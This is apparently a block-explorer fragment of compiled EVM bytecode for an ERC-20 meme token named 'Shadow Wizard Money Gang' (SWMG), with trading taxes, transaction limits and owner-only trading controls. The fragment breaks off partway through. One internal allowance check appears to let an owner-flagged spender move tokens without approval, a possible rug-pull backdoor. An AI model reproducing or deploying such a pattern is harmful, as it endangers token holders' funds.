0390a35b6116de8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117816117358284611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118248486611d3190919063ffffffff16565b60405161183191906120d2565b60405180910390a350505050565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118c58383611d7a565b611923578181101561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390612aa2565b60405180910390fd5b6119228484848461191d9190612ac0565b610dcd565b5b50505050565b5f808303611939575f905061199a565b5f828461194691906124dc565b90508284826119559190612b20565b14611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90612bc0565b60405180910390fd5b809150505b92915050565b5f6119e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e6e565b905092915050565b5f8183116119f757826119f9565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a3857611a37612bde565b5b604051908082528060200260200182016040528015611a665781602001602082028036833780820191505090505b50905030815f81518110611a7d57611a7c612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4591906122e4565b81600181518110611b5957611b58612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c21959493929190612cef565b5f604051808303815f87803b158015611c38575f80fd5b505af1158015611c4a573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd0573d5f803e3d5ffd5b5050565b5f808284611ce29190612950565b905083811015611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612d91565b60405180910390fd5b8091505092915050565b5f611d7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ecf565b905092915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821480611e66575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e2657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e655750611e35610b8e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b905092915050565b5f8083118290611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab9190611fa1565b60405180910390fd5b505f8385611ec29190612b20565b9050809150509392505050565b5f838311158290611f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0d9190611fa1565b60405180910390fd5b505f8385611f249190612ac0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fee82611fc5565b9050919050565b611ffe81611fe4565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f819050919050565b6120318161201f565b811461203b575f80fd5b50565b5f8135905061204c81612028565b92915050565b5f806040838503121561206857612067611fc1565b5b5f6120758582860161200b565b92505060206120868582860161203e565b9150509250929050565b5f8115159050919050565b6120a481612090565b82525050565b5f6020820190506120bd5f83018461209b565b92915050565b6120cc8161201f565b82525050565b5f6020820190506120e55f8301846120c3565b92915050565b5f805f6060848603121561210257612101611fc1565b5b5f61210f8682870161200b565b93505060206121208682870161200b565b92505060406121318682870161203e565b9150509250925092565b5f60ff82169050919050565b6121508161213b565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f6020828403121561218457612183611fc1565b5b5f6121918482850161200b565b91505092915050565b6121a381611fe4565b82525050565b5f6020820190506121bc5f83018461219a565b92915050565b5f80604083850312156121d8576121d7611fc1565b5b5f6121e58582860161200b565b92505060206121f68582860161200b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612234602083611f3b565b915061223f82612200565b602082019050919050565b5f6020820190508181035f83015261226181612228565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61229c601783611f3b565b91506122a782612268565b602082019050919050565b5f6020820190508181035f8301526122c981612290565b9050919050565b5f815190506122de81611ff5565b92915050565b5f602082840312156122f9576122f8611fc1565b5b5f612306848285016122d0565b91505092915050565b5f6040820190506123225f83018561219a565b61232f602083018461219a565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123b85780860481111561239457612393612336565b5b60018516156123a35780820291505b80810290506123b185612363565b9450612378565b94509492505050565b5f826123d0576001905061248b565b816123dd575f905061248b565b81600181146123f357600281146123fd5761242c565b600191505061248b565b60ff84111561240f5761240e612336565b5b8360020a91508482111561242657612425612336565b5b5061248b565b5060208310610133831016604e8410600b84101617156124615782820a90508381111561245c5761245b612336565b5b61248b565b61246e848484600161236f565b9250905081840481111561248557612484612336565b5b81810290505b9392505050565b5f61249c8261201f565b91506124a78361213b565b92506124d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123c1565b905092915050565b5f6124e68261201f565b91506124f18361201f565b92508282026124ff8161201f565b9150828204841483151761251657612515612336565b5b5092915050565b5f819050919050565b5f819050919050565b5f61254961254461253f8461251d565b612526565b61201f565b9050919050565b6125598161252f565b82525050565b5f60c0820190506125725f83018961219a565b61257f60208301886120c3565b61258c6040830187612550565b6125996060830186612550565b6125a6608083018561219a565b6125b360a08301846120c3565b979650505050505050565b5f815190506125cc81612028565b92915050565b5f805f606084860312156125e9576125e8611fc1565b5b5f6125f6868287016125be565b9350506020612607868287016125be565b9250506040612618868287016125be565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267c602483611f3b565b915061268782612622565b604082019050919050565b5f6020820190508181035f8301526126a981612670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270a602283611f3b565b9150612715826126b0565b604082019050919050565b5f6020820190508181035f830152612737816126fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612798602583611f3b565b91506127a38261273e565b604082019050919050565b5f6020820190508181035f8301526127c58161278c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612826602383611f3b565b9150612831826127cc565b604082019050919050565b5f6020820190508181035f8301526128538161281a565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6128b4602983611f3b565b91506128bf8261285a565b604082019050919050565b5f6020820190508181035f8301526128e1816128a8565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f61291c601983611f3b565b9150612927826128e8565b602082019050919050565b5f6020820190508181035f83015261294981612910565b9050919050565b5f61295a8261201f565b91506129658361201f565b925082820190508082111561297d5761297c612336565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129b7601a83611f3b565b91506129c282612983565b602082019050919050565b5f6020820190508181035f8301526129e4816129ab565b9050919050565b5f6129f58261201f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a2757612a26612336565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612a8c602883611f3b565b9150612a9782612a32565b604082019050919050565b5f6020820190508181035f830152612ab981612a80565b9050919050565b5f612aca8261201f565b9150612ad58361201f565b9250828203905081811115612aed57612aec612336565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612b2a8261201f565b9150612b358361201f565b925082612b4557612b44612af3565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612baa602183611f3b565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612c6a81611fe4565b82525050565b5f612c7b8383612c61565b60208301905092915050565b5f602082019050919050565b5f612c9d82612c38565b612ca78185612c42565b9350612cb283612c52565b805f5b83811015612ce2578151612cc98882612c70565b9750612cd483612c87565b925050600181019050612cb5565b5085935050505092915050565b5f60a082019050612d025f8301886120c3565b612d0f6020830187612550565b8181036040830152612d218186612c93565b9050612d30606083018561219a565b612d3d60808301846120c3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d7b601b83611f3b565b9150612d8682612d47565b602082019050919050565b5f6020820190508181035f830152612da881612d6f565b905091905056fea2646970667358221220b24697f0556d396e126602287dc03daaaae58da8497b07c717e00918763ee9d864736f6c634300081a0033
Deployed Bytecode
0x60806040526004361061010c575f3560e01c80636ddc614a11610094578063932e60db11610063578063932e60db1461033357806395d89b411461035d578063a9059cbb14610387578063b9ee8425146103c3578063dd62ed3e146103d957610113565b80636ddc614a1461028d57806370a08231146102b7578063715018a6146102f35780638da5cb5b1461030957610113565b806320886c4e116100db57806320886c4e146101bd57806323b872dd146101e75780632e51bfb514610223578063313ce567146102395780635c745b041461026357610113565b806306fdde0314610117578063095ea7b3146101415780630da2f1d51461017d57806318160ddd1461019357610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610415565b6040516101389190611fa1565b60405180910390f35b34801561014c575f80fd5b5061016760048036038101906101629190612052565b610452565b60405161017491906120aa565b60405180910390f35b348015610188575f80fd5b5061019161046f565b005b34801561019e575f80fd5b506101a76108b3565b6040516101b491906120d2565b60405180910390f35b3480156101c8575f80fd5b506101d16108d6565b6040516101de91906120d2565b60405180910390f35b3480156101f2575f80fd5b5061020d600480360381019061020891906120eb565b6108dc565b60405161021a91906120aa565b60405180910390f35b34801561022e575f80fd5b50610237610905565b005b348015610244575f80fd5b5061024d6109e6565b60405161025a9190612156565b60405180910390f35b34801561026e575f80fd5b506102776109ee565b60405161028491906120d2565b60405180910390f35b348015610298575f80fd5b506102a16109f4565b6040516102ae91906120d2565b60405180910390f35b3480156102c2575f80fd5b506102dd60048036038101906102d8919061216f565b6109fa565b6040516102ea91906120d2565b60405180910390f35b3480156102fe575f80fd5b50610307610a40565b005b348015610314575f80fd5b5061031d610b8e565b60405161032a91906121a9565b60405180910390f35b34801561033e575f80fd5b50610347610bb5565b60405161035491906120d2565b60405180910390f35b348015610368575f80fd5b50610371610bbb565b60405161037e9190611fa1565b60405180910390f35b348015610392575f80fd5b506103ad60048036038101906103a89190612052565b610bf8565b6040516103ba91906120aa565b60405180910390f35b3480156103ce575f80fd5b506103d7610c15565b005b3480156103e4575f80fd5b506103ff60048036038101906103fa91906121c2565b610d44565b60405161040c91906120d2565b60405180910390f35b60606040518060400160405280601881526020017f536861646f772057697a617264204d6f6e65792047616e670000000000000000815250905090565b5f61046561045e610dc6565b8484610dcd565b6001905092915050565b610477610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa9061224a565b60405180910390fd5b600f60149054906101000a900460ff1615610553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054a906122b2565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610611573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063591906122e4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106df91906122e4565b6040518363ffffffff1660e01b81526004016106fc92919061230f565b6020604051808303815f875af1158015610718573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073c91906122e4565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107c330600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107af9190612492565b633b9aca006107be91906124dc565b610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061080b306109fa565b5f80610815610b8e565b426040518863ffffffff1660e01b81526004016108379695949392919061255f565b60606040518083038185885af1158015610853573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061087891906125d2565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b5f6009600a6108c29190612492565b633b9aca006108d191906124dc565b905090565b600c5481565b5f6108e8848484610f90565b6108fa846108f4610dc6565b8461183f565b600190509392505050565b61090d610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109909061224a565b60405180910390fd5b6109a1610b8e565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156109e3573d5f803e3d5ffd5b50565b5f6009905090565b600a5481565b600b5481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a48610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acb9061224a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b60606040518060400160405280600481526020017f53574d4700000000000000000000000000000000000000000000000000000000815250905090565b5f610c0b610c04610dc6565b8484610f90565b6001905092915050565b610c1d610dc6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca09061224a565b60405180910390fd5b6009600a610cb79190612492565b633b9aca00610cc691906124dc565b600a819055506009600a610cda9190612492565b633b9aca00610ce991906124dc565b600b819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610d1e9190612492565b633b9aca00610d2d91906124dc565b604051610d3a91906120d2565b60405180910390a1565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3290612692565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612720565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8391906120d2565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff5906127ae565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110639061283c565b60405180910390fd5b5f81116110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906128ca565b60405180910390fd5b5f6110b7610b8e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561112557506110f5610b8e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561115d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561119557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561158f576111d660646111c8600754600954116111b5576005546111b9565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b9050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112815750600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112d4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561138e57600a5482111561131e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131590612932565b60405180910390fd5b600b548261132b856109fa565b6113359190612950565b1115611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d906129cd565b60405180910390fd5b60095f815480929190611388906129eb565b91905055505b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561141657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561145a576114576064611449600754600954116114365760055461143a565b6006545b8561192990919063ffffffff16565b6119a090919063ffffffff16565b90505b5f611464306109fa565b9050600f60159054906101000a900460ff161580156114cf5750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114e75750600f60169054906101000a900460ff165b80156114f65750600854600954115b8015611549575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561158d57600c54811115611576576115756115708461156b84600d546119e9565b6119e9565b611a01565b5b5f4790505f811061158b5761158a47611c6c565b5b505b505b5f81111561168e576115e78160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161168591906120d2565b60405180910390a35b6116de8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117816117358284611d3190919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611cd490919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118248486611d3190919063ffffffff16565b60405161183191906120d2565b60405180910390a350505050565b5f60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506118c58383611d7a565b611923578181101561190c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190390612aa2565b60405180910390fd5b6119228484848461191d9190612ac0565b610dcd565b5b50505050565b5f808303611939575f905061199a565b5f828461194691906124dc565b90508284826119559190612b20565b14611995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198c90612bc0565b60405180910390fd5b809150505b92915050565b5f6119e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e6e565b905092915050565b5f8183116119f757826119f9565b815b905092915050565b6001600f60156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a3857611a37612bde565b5b604051908082528060200260200182016040528015611a665781602001602082028036833780820191505090505b50905030815f81518110611a7d57611a7c612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b21573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b4591906122e4565b81600181518110611b5957611b58612c0b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dcd565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611c21959493929190612cef565b5f604051808303815f87803b158015611c38575f80fd5b505af1158015611c4a573d5f803e3d5ffd5b50505050505f600f60156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cd0573d5f803e3d5ffd5b5050565b5f808284611ce29190612950565b905083811015611d27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1e90612d91565b60405180910390fd5b8091505092915050565b5f611d7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ecf565b905092915050565b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821480611e66575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611e2657503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e655750611e35610b8e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b905092915050565b5f8083118290611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab9190611fa1565b60405180910390fd5b505f8385611ec29190612b20565b9050809150509392505050565b5f838311158290611f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0d9190611fa1565b60405180910390fd5b505f8385611f249190612ac0565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f7382611f31565b611f7d8185611f3b565b9350611f8d818560208601611f4b565b611f9681611f59565b840191505092915050565b5f6020820190508181035f830152611fb98184611f69565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611fee82611fc5565b9050919050565b611ffe81611fe4565b8114612008575f80fd5b50565b5f8135905061201981611ff5565b92915050565b5f819050919050565b6120318161201f565b811461203b575f80fd5b50565b5f8135905061204c81612028565b92915050565b5f806040838503121561206857612067611fc1565b5b5f6120758582860161200b565b92505060206120868582860161203e565b9150509250929050565b5f8115159050919050565b6120a481612090565b82525050565b5f6020820190506120bd5f83018461209b565b92915050565b6120cc8161201f565b82525050565b5f6020820190506120e55f8301846120c3565b92915050565b5f805f6060848603121561210257612101611fc1565b5b5f61210f8682870161200b565b93505060206121208682870161200b565b92505060406121318682870161203e565b9150509250925092565b5f60ff82169050919050565b6121508161213b565b82525050565b5f6020820190506121695f830184612147565b92915050565b5f6020828403121561218457612183611fc1565b5b5f6121918482850161200b565b91505092915050565b6121a381611fe4565b82525050565b5f6020820190506121bc5f83018461219a565b92915050565b5f80604083850312156121d8576121d7611fc1565b5b5f6121e58582860161200b565b92505060206121f68582860161200b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612234602083611f3b565b915061223f82612200565b602082019050919050565b5f6020820190508181035f83015261226181612228565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61229c601783611f3b565b91506122a782612268565b602082019050919050565b5f6020820190508181035f8301526122c981612290565b9050919050565b5f815190506122de81611ff5565b92915050565b5f602082840312156122f9576122f8611fc1565b5b5f612306848285016122d0565b91505092915050565b5f6040820190506123225f83018561219a565b61232f602083018461219a565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156123b85780860481111561239457612393612336565b5b60018516156123a35780820291505b80810290506123b185612363565b9450612378565b94509492505050565b5f826123d0576001905061248b565b816123dd575f905061248b565b81600181146123f357600281146123fd5761242c565b600191505061248b565b60ff84111561240f5761240e612336565b5b8360020a91508482111561242657612425612336565b5b5061248b565b5060208310610133831016604e8410600b84101617156124615782820a90508381111561245c5761245b612336565b5b61248b565b61246e848484600161236f565b9250905081840481111561248557612484612336565b5b81810290505b9392505050565b5f61249c8261201f565b91506124a78361213b565b92506124d47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846123c1565b905092915050565b5f6124e68261201f565b91506124f18361201f565b92508282026124ff8161201f565b9150828204841483151761251657612515612336565b5b5092915050565b5f819050919050565b5f819050919050565b5f61254961254461253f8461251d565b612526565b61201f565b9050919050565b6125598161252f565b82525050565b5f60c0820190506125725f83018961219a565b61257f60208301886120c3565b61258c6040830187612550565b6125996060830186612550565b6125a6608083018561219a565b6125b360a08301846120c3565b979650505050505050565b5f815190506125cc81612028565b92915050565b5f805f606084860312156125e9576125e8611fc1565b5b5f6125f6868287016125be565b9350506020612607868287016125be565b9250506040612618868287016125be565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61267c602483611f3b565b915061268782612622565b604082019050919050565b5f6020820190508181035f8301526126a981612670565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61270a602283611f3b565b9150612715826126b0565b604082019050919050565b5f6020820190508181035f830152612737816126fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612798602583611f3b565b91506127a38261273e565b60408